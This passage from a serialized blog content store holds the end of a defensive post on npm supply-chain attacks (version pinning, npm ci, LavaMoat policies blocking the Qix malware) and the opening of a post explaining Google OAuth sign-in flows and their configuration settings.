a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":105745,"children":105746},{},[105747],{"type":29,"value":105748},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":62,"props":105750,"children":105752},{"id":105751},"what-developers-can-do",[105753],{"type":29,"value":105754},"What Developers Can Do",{"type":24,"tag":25,"props":105756,"children":105757},{},[105758],{"type":29,"value":105759},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":85,"props":105761,"children":105763},{"id":105762},"_1-version-pinning-in-packagejson",[105764,105766],{"type":29,"value":105765},"1. Version pinning in ",{"type":24,"tag":135,"props":105767,"children":105769},{"className":105768},[],[105770],{"type":29,"value":105771},"package.json",{"type":24,"tag":25,"props":105773,"children":105774},{},[105775],{"type":29,"value":105776},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":105778,"children":105779},{},[105780,105782,105788,105790,105795,105797,105802],{"type":29,"value":105781},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":135,"props":105783,"children":105785},{"className":105784},[],[105786],{"type":29,"value":105787},"npm install",{"type":29,"value":105789},". To pin it, just make sure to remove the caret ",{"type":24,"tag":135,"props":105791,"children":105793},{"className":105792},[],[105794],{"type":29,"value":56599},{"type":29,"value":105796}," symbol before the version in ",{"type":24,"tag":135,"props":105798,"children":105800},{"className":105799},[],[105801],{"type":29,"value":105771},{"type":29,"value":12210},{"type":24,"tag":261,"props":105804,"children":105806},{"code":105805,"language":41666,"meta":7,"className":41664,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[105807],{"type":24,"tag":135,"props":105808,"children":105809},{"__ignoreMap":7},[105810,105831,105852,105873],{"type":24,"tag":271,"props":105811,"children":105812},{"class":273,"line":274},[105813,105818,105822,105827],{"type":24,"tag":271,"props":105814,"children":105815},{"style":378},[105816],{"type":29,"value":105817},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":271,"props":105819,"children":105820},{"style":288},[105821],{"type":29,"value":23028},{"type":24,"tag":271,"props":105823,"children":105824},{"style":378},[105825],{"type":29,"value":105826},"\"1.23.1\"",{"type":24,"tag":271,"props":105828,"children":105829},{"style":288},[105830],{"type":29,"value":638},{"type":24,"tag":271,"props":105832,"children":105833},{"class":273,"line":284},[105834,105839,105843,105848],{"type":24,"tag":271,"props":105835,"children":105836},{"style":378},[105837],{"type":29,"value":105838},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":271,"props":105840,"children":105841},{"style":288},[105842],{"type":29,"value":23028},{"type":24,"tag":271,"props":105844,"children":105845},{"style":378},[105846],{"type":29,"value":105847},"\"8.3.0\"",{"type":24,"tag":271,"props":105849,"children":105850},{"style":288},[105851],{"type":29,"value":638},{"type":24,"tag":271,"props":105853,"children":105854},{"class":273,"line":294},[105855,105860,105864,105869],{"type":24,"tag":271,"props":105856,"children":105857},{"style":378},[105858],{"type":29,"value":105859},"\"@react-native-community/netinfo\"",{"type":24,"tag":271,"props":105861,"children":105862},{"style":288},[105863],{"type":29,"value":23028},{"type":24,"tag":271,"props":105865,"children":105866},{"style":378},[105867],{"type":29,"value":105868},"\"11.4.1\"",{"type":24,"tag":271,"props":105870,"children":105871},{"style":288},[105872],{"type":29,"value":638},{"type":24,"tag":271,"props":105874,"children":105875},{"class":273,"line":303},[105876,105881,105885],{"type":24,"tag":271,"props":105877,"children":105878},{"style":378},[105879],{"type":29,"value":105880},"\"@react-native-picker/picker\"",{"type":24,"tag":271,"props":105882,"children":105883},{"style":288},[105884],{"type":29,"value":23028},{"type":24,"tag":271,"props":105886,"children":105887},{"style":378},[105888],{"type":29,"value":105889},"\"2.11.0\"\n",{"type":24,"tag":85,"props":105891,"children":105893},{"id":105892},"_2-use-npm-ci",[105894,105896],{"type":29,"value":105895},"2. Use ",{"type":24,"tag":135,"props":105897,"children":105899},{"className":105898},[],[105900],{"type":29,"value":105901},"npm ci",{"type":24,"tag":25,"props":105903,"children":105904},{},[105905,105910,105912,105918,105920,105925],{"type":24,"tag":135,"props":105906,"children":105908},{"className":105907},[],[105909],{"type":29,"value":105901},{"type":29,"value":105911}," uses the dependency versions from ",{"type":24,"tag":135,"props":105913,"children":105915},{"className":105914},[],[105916],{"type":29,"value":105917},"package-lock.json",{"type":29,"value":105919}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":135,"props":105921,"children":105923},{"className":105922},[],[105924],{"type":29,"value":105787},{"type":29,"value":105926}," when adding a new package or updating an existing one.",{"type":24,"tag":85,"props":105928,"children":105930},{"id":105929},"_3-implement-lavamoat",[105931,105933],{"type":29,"value":105932},"3. Implement ",{"type":24,"tag":32,"props":105934,"children":105937},{"href":105935,"rel":105936},"https://github.com/LavaMoat/LavaMoat/tree/main",[36],[105938],{"type":24,"tag":213,"props":105939,"children":105940},{},[105941],{"type":29,"value":105942},"Lavamoat",{"type":24,"tag":25,"props":105944,"children":105945},{},[105946],{"type":29,"value":105947},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":105949,"children":105950},{},[105951],{"type":29,"value":105952},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":261,"props":105954,"children":105956},{"code":105955,"language":41666,"meta":7,"className":41664,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[105957],{"type":24,"tag":135,"props":105958,"children":105959},{"__ignoreMap":7},[105960,105972,105984,105995,106011,106018,106025,106037,106048,106068,106084,106091,106102,106122,106138,106145,106152],{"type":24,"tag":271,"props":105961,"children":105962},{"class":273,"line":274},[105963,105968],{"type":24,"tag":271,"props":105964,"children":105965},{"style":378},[105966],{"type":29,"value":105967},"\"resources\"",{"type":24,"tag":271,"props":105969,"children":105970},{"style":288},[105971],{"type":29,"value":44690},{"type":24,"tag":271,"props":105973,"children":105974},{"class":273,"line":284},[105975,105980],{"type":24,"tag":271,"props":105976,"children":105977},{"style":630},[105978],{"type":29,"value":105979}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":271,"props":105981,"children":105982},{"style":288},[105983],{"type":29,"value":44690},{"type":24,"tag":271,"props":105985,"children":105986},{"class":273,"line":294},[105987,105991],{"type":24,"tag":271,"props":105988,"children":105989},{"style":630},[105990],{"type":29,"value":44698},{"type":24,"tag":271,"props":105992,"children":105993},{"style":288},[105994],{"type":29,"value":44690},{"type":24,"tag":271,"props":105996,"children":105997},{"class":273,"line":303},[105998,106003,106007],{"type":24,"tag":271,"props":105999,"children":106000},{"style":630},[106001],{"type":29,"value":106002}," \"TextEncoder\"",{"type":24,"tag":271,"props":106004,"children":106005},{"style":288},[106006],{"type":29,"value":23028},{"type":24,"tag":271,"props":106008,"children":106009},{"style":278},[106010],{"type":29,"value":44859},{"type":24,"tag":271,"props":106012,"children":106013},{"class":273,"line":312},[106014],{"type":24,"tag":271,"props":106015,"children":106016},{"style":288},[106017],{"type":29,"value":20365},{"type":24,"tag":271,"props":106019,"children":106020},{"class":273,"line":321},[106021],{"type":24,"tag":271,"props":106022,"children":106023},{"style":288},[106024],{"type":29,"value":33057},{"type":24,"tag":271,"props":106026,"children":106027},{"class":273,"line":330},[106028,106033],{"type":24,"tag":271,"props":106029,"children":106030},{"style":630},[106031],{"type":29,"value":106032}," \"@ethereumjs/util\"",{"type":24,"tag":271,"props":106034,"children":106035},{"style":288},[106036],{"type":29,"value":44690},{"type":24,"tag":271,"props":106038,"children":106039},{"class":273,"line":339},[106040,106044],{"type":24,"tag":271,"props":106041,"children":106042},{"style":630},[106043],{"type":29,"value":44698},{"type":24,"tag":271,"props":106045,"children":106046},{"style":288},[106047],{"type":29,"value":44690},{"type":24,"tag":271,"props":106049,"children":106050},{"class":273,"line":347},[106051,106056,106060,106064],{"type":24,"tag":271,"props":106052,"children":106053},{"style":630},[106054],{"type":29,"value":106055}," \"console.warn\"",{"type":24,"tag":271,"props":106057,"children":106058},{"style":288},[106059],{"type":29,"value":23028},{"type":24,"tag":271,"props":106061,"children":106062},{"style":278},[106063],{"type":29,"value":5670},{"type":24,"tag":271,"props":106065,"children":106066},{"style":288},[106067],{"type":29,"value":638},{"type":24,"tag":271,"props":106069,"children":106070},{"class":273,"line":356},[106071,106076,106080],{"type":24,"tag":271,"props":106072,"children":106073},{"style":630},[106074],{"type":29,"value":106075}," \"fetch\"",{"type":24,"tag":271,"props":106077,"children":106078},{"style":288},[106079],{"type":29,"value":23028},{"type":24,"tag":271,"props":106081,"children":106082},{"style":278},[106083],{"type":29,"value":44859},{"type":24,"tag":271,"props":106085,"children":106086},{"class":273,"line":365},[106087],{"type":24,"tag":271,"props":106088,"children":106089},{"style":288},[106090],{"type":29,"value":44867},{"type":24,"tag":271,"props":106092,"children":106093},{"class":273,"line":374},[106094,106098],{"type":24,"tag":271,"props":106095,"children":106096},{"style":630},[106097],{"type":29,"value":44875},{"type":24,"tag":271,"props":106099,"children":106100},{"style":288},[106101],{"type":29,"value":44690},{"type":24,"tag":271,"props":106103,"children":106104},{"class":273,"line":384},[106105,106110,106114,106118],{"type":24,"tag":271,"props":106106,"children":106107},{"style":630},[106108],{"type":29,"value":106109}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":271,"props":106111,"children":106112},{"style":288},[106113],{"type":29,"value":23028},{"type":24,"tag":271,"props":106115,"children":106116},{"style":278},[106117],{"type":29,"value":5670},{"type":24,"tag":271,"props":106119,"children":106120},{"style":288},[106121],{"type":29,"value":638},{"type":24,"tag":271,"props":106123,"children":106124},{"class":273,"line":393},[106125,106130,106134],{"type":24,"tag":271,"props":106126,"children":106127},{"style":630},[106128],{"type":29,"value":106129}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":271,"props":106131,"children":106132},{"style":288},[106133],{"type":29,"value":23028},{"type":24,"tag":271,"props":106135,"children":106136},{"style":278},[106137],{"type":29,"value":44859},{"type":24,"tag":271,"props":106139,"children":106140},{"class":273,"line":402},[106141],{"type":24,"tag":271,"props":106142,"children":106143},{"style":288},[106144],{"type":29,"value":20365},{"type":24,"tag":271,"props":106146,"children":106147},{"class":273,"line":411},[106148],{"type":24,"tag":271,"props":106149,"children":106150},{"style":288},[106151],{"type":29,"value":4385},{"type":24,"tag":271,"props":106153,"children":106154},{"class":273,"line":420},[106155],{"type":24,"tag":271,"props":106156,"children":106157},{"style":288},[106158],{"type":29,"value":1171},{"type":24,"tag":25,"props":106160,"children":106161},{},[106162,106164,106170,106172,106178,106179,106184,106186,106192,106193,106199],{"type":29,"value":106163},"In this example, it restricts the ",{"type":24,"tag":135,"props":106165,"children":106167},{"className":106166},[],[106168],{"type":29,"value":106169},"@ethereumjs/util",{"type":29,"value":106171}," package to use only ",{"type":24,"tag":135,"props":106173,"children":106175},{"className":106174},[],[106176],{"type":29,"value":106177},"console.warn",{"type":29,"value":518},{"type":24,"tag":135,"props":106180,"children":106182},{"className":106181},[],[106183],{"type":29,"value":41763},{"type":29,"value":106185}," functions, and to include only ",{"type":24,"tag":135,"props":106187,"children":106189},{"className":106188},[],[106190],{"type":29,"value":106191},"@ethereumjs/rlp",{"type":29,"value":518},{"type":24,"tag":135,"props":106194,"children":106196},{"className":106195},[],[106197],{"type":29,"value":106198},"ethereum-cryptography",{"type":29,"value":106200}," packages.",{"type":24,"tag":25,"props":106202,"children":106203},{},[106204],{"type":29,"value":106205},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":106207,"children":106208},{},[106209,106211,106217],{"type":29,"value":106210},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":32,"props":106212,"children":106215},{"href":106213,"rel":106214},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[36],[106216],{"type":29,"value":45045},{"type":29,"value":41},{"type":24,"tag":85,"props":106219,"children":106221},{"id":106220},"lavamoat-vs-qix-malware",[106222],{"type":29,"value":106223},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":106225,"children":106226},{},[106227,106229,106234],{"type":29,"value":106228},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":135,"props":106230,"children":106232},{"className":106231},[],[106233],{"type":29,"value":104074},{"type":29,"value":106235},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":3834,"props":106237,"children":106238},{},[106239,106251,106262,106273],{"type":24,"tag":101,"props":106240,"children":106241},{},[106242,106244,106249],{"type":29,"value":106243},"Replace ",{"type":24,"tag":135,"props":106245,"children":106247},{"className":106246},[],[106248],{"type":29,"value":41763},{"type":29,"value":106250}," function to a custom one",{"type":24,"tag":101,"props":106252,"children":106253},{},[106254,106256],{"type":29,"value":106255},"Access ",{"type":24,"tag":135,"props":106257,"children":106259},{"className":106258},[],[106260],{"type":29,"value":106261},"window.ethereum",{"type":24,"tag":101,"props":106263,"children":106264},{},[106265,106267,106272],{"type":29,"value":106266},"Call original ",{"type":24,"tag":135,"props":106268,"children":106270},{"className":106269},[],[106271],{"type":29,"value":41763},{"type":29,"value":45882},{"type":24,"tag":101,"props":106274,"children":106275},{},[106276],{"type":29,"value":106277},"Plus other actions not relevant here",{"type":24,"tag":25,"props":106279,"children":106280},{},[106281,106283,106289],{"type":29,"value":106282},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":135,"props":106284,"children":106286},{"className":106285},[],[106287],{"type":29,"value":106288},"chalk 5.6.0",{"type":29,"value":106290}," (non-malicious version) it would look like this:",{"type":24,"tag":261,"props":106292,"children":106294},{"code":106293,"language":41666,"meta":7,"className":41664,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[106295],{"type":24,"tag":135,"props":106296,"children":106297},{"__ignoreMap":7},[106298,106310,106321,106341,106357,106364],{"type":24,"tag":271,"props":106299,"children":106300},{"class":273,"line":274},[106301,106306],{"type":24,"tag":271,"props":106302,"children":106303},{"style":378},[106304],{"type":29,"value":106305},"\"chalk\"",{"type":24,"tag":271,"props":106307,"children":106308},{"style":288},[106309],{"type":29,"value":44690},{"type":24,"tag":271,"props":106311,"children":106312},{"class":273,"line":284},[106313,106317],{"type":24,"tag":271,"props":106314,"children":106315},{"style":630},[106316],{"type":29,"value":44698},{"type":24,"tag":271,"props":106318,"children":106319},{"style":288},[106320],{"type":29,"value":44690},{"type":24,"tag":271,"props":106322,"children":106323},{"class":273,"line":294},[106324,106329,106333,106337],{"type":24,"tag":271,"props":106325,"children":106326},{"style":630},[106327],{"type":29,"value":106328}," \"navigator.userAgent\"",{"type":24,"tag":271,"props":106330,"children":106331},{"style":288},[106332],{"type":29,"value":23028},{"type":24,"tag":271,"props":106334,"children":106335},{"style":278},[106336],{"type":29,"value":5670},{"type":24,"tag":271,"props":106338,"children":106339},{"style":288},[106340],{"type":29,"value":638},{"type":24,"tag":271,"props":106342,"children":106343},{"class":273,"line":303},[106344,106349,106353],{"type":24,"tag":271,"props":106345,"children":106346},{"style":630},[106347],{"type":29,"value":106348}," \"navigator.userAgentData\"",{"type":24,"tag":271,"props":106350,"children":106351},{"style":288},[106352],{"type":29,"value":23028},{"type":24,"tag":271,"props":106354,"children":106355},{"style":278},[106356],{"type":29,"value":44859},{"type":24,"tag":271,"props":106358,"children":106359},{"class":273,"line":312},[106360],{"type":24,"tag":271,"props":106361,"children":106362},{"style":288},[106363],{"type":29,"value":20365},{"type":24,"tag":271,"props":106365,"children":106366},{"class":273,"line":321},[106367],{"type":24,"tag":271,"props":106368,"children":106369},{"style":288},[106370],{"type":29,"value":33057},{"type":24,"tag":25,"props":106372,"children":106373},{},[106374,106376,106382],{"type":29,"value":106375},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":135,"props":106377,"children":106379},{"className":106378},[],[106380],{"type":29,"value":106381},"navigator",{"type":29,"value":41},{"type":24,"tag":25,"props":106384,"children":106385},{},[106386,106388,106394],{"type":29,"value":106387},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":135,"props":106389,"children":106391},{"className":106390},[],[106392],{"type":29,"value":106393},"chalk v5.6.1",{"type":29,"value":106395}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":106397,"children":106398},{},[106399],{"type":24,"tag":74,"props":106400,"children":106402},{"alt":76,"src":106401},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":106404,"children":106405},{},[106406,106408,106413],{"type":29,"value":106407},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":135,"props":106409,"children":106411},{"className":106410},[],[106412],{"type":29,"value":41763},{"type":29,"value":33144},{"type":24,"tag":261,"props":106415,"children":106417},{"code":106416},"TypeError#1: Cannot define property fetch, object is not extensible\n",[106418],{"type":24,"tag":135,"props":106419,"children":106420},{"__ignoreMap":7},[106421],{"type":29,"value":106416},{"type":24,"tag":62,"props":106423,"children":106425},{"id":106424},"lavamoat-in-practice",[106426],{"type":29,"value":106427},"Lavamoat In Practice",{"type":24,"tag":25,"props":106429,"children":106430},{},[106431,106433,106440],{"type":29,"value":106432},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":32,"props":106434,"children":106437},{"href":106435,"rel":106436},"https://osec.io/reports/lavamoat_audit_final.pdf",[36],[106438],{"type":29,"value":106439},"see the audit report",{"type":29,"value":28429},{"type":24,"tag":25,"props":106442,"children":106443},{},[106444],{"type":29,"value":106445},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":62,"props":106447,"children":106448},{"id":82587},[106449],{"type":29,"value":82590},{"type":24,"tag":25,"props":106451,"children":106452},{},[106453],{"type":29,"value":106454},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":106456,"children":106457},{},[106458,106460,106465],{"type":29,"value":106459},"Version pinning and ",{"type":24,"tag":135,"props":106461,"children":106463},{"className":106462},[],[106464],{"type":29,"value":105901},{"type":29,"value":106466}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":10562,"props":106468,"children":106469},{},[106470],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":106472},[106473,106476,106477,106486,106487],{"id":104089,"depth":284,"text":104092,"children":106474},[106475],{"id":105724,"depth":294,"text":105727},{"id":105735,"depth":284,"text":105738},{"id":105751,"depth":284,"text":105754,"children":106478},[106479,106481,106483,106485],{"id":105762,"depth":294,"text":106480},"1. Version pinning in package.json",{"id":105892,"depth":294,"text":106482},"2. Use npm ci",{"id":105929,"depth":294,"text":106484},"3. Implement Lavamoat",{"id":106220,"depth":294,"text":106223},{"id":106424,"depth":284,"text":106427},{"id":82587,"depth":284,"text":82590},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":106492,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106493,"description":106494,"date":106495,"author":106496,"image":106497,"isFeatured":16,"onBlogPage":16,"tags":106499,"body":106502,"_type":10599,"_id":108833,"_source":10601,"_file":108834,"_stem":108835,"_extension":10604},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[38876,38875],{"src":106498,"width":104058,"height":21324},"/posts/oauth-misconfigurations/title.png",[106500,106501],"oAuth","exchanges",{"type":21,"children":106503,"toc":108820},[106504,106510,106515,106521,106541,106547,106552,106565,106570,106578,106592,106601,106610,106624,106632,106643,106703,106709,106721,106770,106776,106781,106794,106801,106812,106832,106851,106872,106878,106891,106896,106902,106921,107546,107551,107564,108425,108430,108435,108441,108446,108452,108457,108470,108510,108516,108529,108534,108567,108572,108577,108602,108607,108619,108776,108781,108785,108797,108802,108806,108811,108816],{"type":24,"tag":62,"props":106505,"children":106507},{"id":106506},"exploiting-oauth",[106508],{"type":29,"value":106509},"Exploiting OAuth",{"type":24,"tag":25,"props":106511,"children":106512},{},[106513],{"type":29,"value":106514},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":85,"props":106516,"children":106518},{"id":106517},"google-authentication-flows",[106519],{"type":29,"value":106520},"Google Authentication Flows",{"type":24,"tag":25,"props":106522,"children":106523},{},[106524,106526,106532,106534,106539],{"type":29,"value":106525},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":135,"props":106527,"children":106529},{"className":106528},[],[106530],{"type":29,"value":106531},"postMessage",{"type":29,"value":106533}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":135,"props":106535,"children":106537},{"className":106536},[],[106538],{"type":29,"value":76553},{"type":29,"value":106540}," to send the token back to the RP.",{"type":24,"tag":26585,"props":106542,"children":106544},{"id":106543},"gsi-new-flow",[106545],{"type":29,"value":106546},"GSI (New Flow)",{"type":24,"tag":25,"props":106548,"children":106549},{},[106550],{"type":29,"value":106551},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":97,"props":106553,"children":106554},{},[106555,106560],{"type":24,"tag":101,"props":106556,"children":106557},{},[106558],{"type":29,"value":106559},"Using FedCM API",{"type":24,"tag":101,"props":106561,"children":106562},{},[106563],{"type":29,"value":106564},"Without using FedCM API",{"type":24,"tag":25,"props":106566,"children":106567},{},[106568],{"type":29,"value":106569},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":106571,"children":106572},{},[106573],{"type":24,"tag":213,"props":106574,"children":106575},{},[106576],{"type":29,"value":106577},"FedCM Method",{"type":24,"tag":25,"props":106579,"children":106580},{},[106581,106583,106590],{"type":29,"value":106582},"The FedCM method basically follows this ",{"type":24,"tag":32,"props":106584,"children":106587},{"href":106585,"rel":106586},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[36],[106588],{"type":29,"value":106589},"user experience",{"type":29,"value":106591},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":106593,"children":106594},{},[106595,106597],{"type":29,"value":106596},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":74,"props":106598,"children":106600},{"alt":76,"src":106599},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":106602,"children":106603},{},[106604,106606],{"type":29,"value":106605},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":74,"props":106607,"children":106609},{"alt":76,"src":106608},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":106611,"children":106612},{},[106613,106615,106622],{"type":29,"value":106614},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":32,"props":106616,"children":106619},{"href":106617,"rel":106618},"https://github.com/w3c-fedid/FedCM/issues/429",[36],[106620],{"type":29,"value":106621},"FedCM auto-reauthentication",{"type":29,"value":106623},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":106625,"children":106626},{},[106627],{"type":24,"tag":213,"props":106628,"children":106629},{},[106630],{"type":29,"value":106631},"Non-FedCM Method",{"type":24,"tag":25,"props":106633,"children":106634},{},[106635,106637,106642],{"type":29,"value":106636},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":135,"props":106638,"children":106640},{"className":106639},[],[106641],{"type":29,"value":106531},{"type":29,"value":12210},{"type":24,"tag":3834,"props":106644,"children":106645},{},[106646,106651,106675,106680,106691],{"type":24,"tag":101,"props":106647,"children":106648},{},[106649],{"type":29,"value":106650},"The user clicks the sign in button",{"type":24,"tag":101,"props":106652,"children":106653},{},[106654,106656,106662,106664,106669,106670],{"type":29,"value":106655},"RP opens a popup/iframe to ",{"type":24,"tag":32,"props":106657,"children":106660},{"href":106658,"rel":106659},"https://accounts.google.com/o/oauth2/v2/auth",[36],[106661],{"type":29,"value":106658},{"type":29,"value":106663}," with some important parameters like ",{"type":24,"tag":135,"props":106665,"children":106667},{"className":106666},[],[106668],{"type":29,"value":76385},{"type":29,"value":518},{"type":24,"tag":135,"props":106671,"children":106673},{"className":106672},[],[106674],{"type":29,"value":47803},{"type":24,"tag":101,"props":106676,"children":106677},{},[106678],{"type":29,"value":106679},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":101,"props":106681,"children":106682},{},[106683,106685],{"type":29,"value":106684},"They get redirected to ",{"type":24,"tag":32,"props":106686,"children":106689},{"href":106687,"rel":106688},"https://accounts.google.com/gsi/transform",[36],[106690],{"type":29,"value":106687},{"type":24,"tag":101,"props":106692,"children":106693},{},[106694,106696,106701],{"type":29,"value":106695},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":135,"props":106697,"children":106699},{"className":106698},[],[106700],{"type":29,"value":106531},{"type":29,"value":106702}," (after some SYN/ACK messages)",{"type":24,"tag":26585,"props":106704,"children":106706},{"id":106705},"oauth-20-old-flow",[106707],{"type":29,"value":106708},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":106710,"children":106711},{},[106712,106714,106719],{"type":29,"value":106713},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":135,"props":106715,"children":106717},{"className":106716},[],[106718],{"type":29,"value":76553},{"type":29,"value":106720}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":3834,"props":106722,"children":106723},{},[106724,106728,106749,106753],{"type":24,"tag":101,"props":106725,"children":106726},{},[106727],{"type":29,"value":106650},{"type":24,"tag":101,"props":106729,"children":106730},{},[106731,106732,106737,106738,106743,106744],{"type":29,"value":106655},{"type":24,"tag":32,"props":106733,"children":106735},{"href":106658,"rel":106734},[36],[106736],{"type":29,"value":106658},{"type":29,"value":106663},{"type":24,"tag":135,"props":106739,"children":106741},{"className":106740},[],[106742],{"type":29,"value":76385},{"type":29,"value":518},{"type":24,"tag":135,"props":106745,"children":106747},{"className":106746},[],[106748],{"type":29,"value":76553},{"type":24,"tag":101,"props":106750,"children":106751},{},[106752],{"type":29,"value":106679},{"type":24,"tag":101,"props":106754,"children":106755},{},[106756,106757,106762,106764],{"type":29,"value":106684},{"type":24,"tag":135,"props":106758,"children":106760},{"className":106759},[],[106761],{"type":29,"value":76553},{"type":29,"value":106763}," with the token in the query parameters or ",{"type":24,"tag":135,"props":106765,"children":106767},{"className":106766},[],[106768],{"type":29,"value":106769},"location.hash",{"type":24,"tag":26585,"props":106771,"children":106773},{"id":106772},"different-configurations",[106774],{"type":29,"value":106775},"Different Configurations",{"type":24,"tag":25,"props":106777,"children":106778},{},[106779],{"type":29,"value":106780},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":24,"tag":97,"props":106782,"children":106783},{},[106784,106789],{"type":24,"tag":101,"props":106785,"children":106786},{},[106787],{"type":29,"value":106788},"Authorized origins",{"type":24,"tag":101,"props":106790,"children":106791},{},[106792],{"type":29,"value":106793},"Authorized redirect URIs",{"type":24,"tag":25,"props":106795,"children":106796},{},[106797],{"type":24,"tag":74,"props":106798,"children":106800},{"alt":76,"src":106799},"/posts/oauth-misconfigurations/image3.png",[],{"type":24,"tag":25,"props":106802,"children":106803},{},[106804,106806,106811],{"type":29,"value":106805},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":24,"tag":135,"props":106807,"children":106809},{"className":106808},[],[106810],{"type":29,"value":76385},{"type":29,"value":41},{"type":24,"tag":25,"props":106813,"children":106814},{},[106815,106817,106823,106825,106830],{"type":29,"value":106816},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":24,"tag":135,"props":106818,"children":106820},{"className":106819},[],[106821],{"type":29,"value":106822},"/oauth2/v2/auth",{"type":29,"value":106824}," by checking the 